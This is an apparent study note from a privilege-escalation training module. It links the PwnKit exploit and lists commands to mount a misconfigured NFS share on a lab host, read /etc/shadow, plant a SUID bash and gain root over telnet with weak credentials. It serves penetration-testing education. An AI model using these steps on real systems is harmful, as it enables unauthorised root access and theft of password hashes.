11_privilege_escalation

Pwnkit

https://github.com/ly4k/PwnKit

NFS

• find target

nmap -sn 10.10.10.*

• scan

nmap 10.10.1.6

• install nfs-common

sudo apt install nfs-common

• show mount

showmount -e 10.10.1.6

• mount

sudo mount -t nfs 10.10.1.6:/ /mnt

• cd mnt

cd mnt

• cat shadow

sudo cat etc/shadow

• copy bash

cp /bin/bash .

• set suid bash

sudo chmod 4755 /mnt/bin/bash

• telent then privilege escalation

telnet 10.10.1.6
user: user
password:user

$ /bin/bash -p
$ id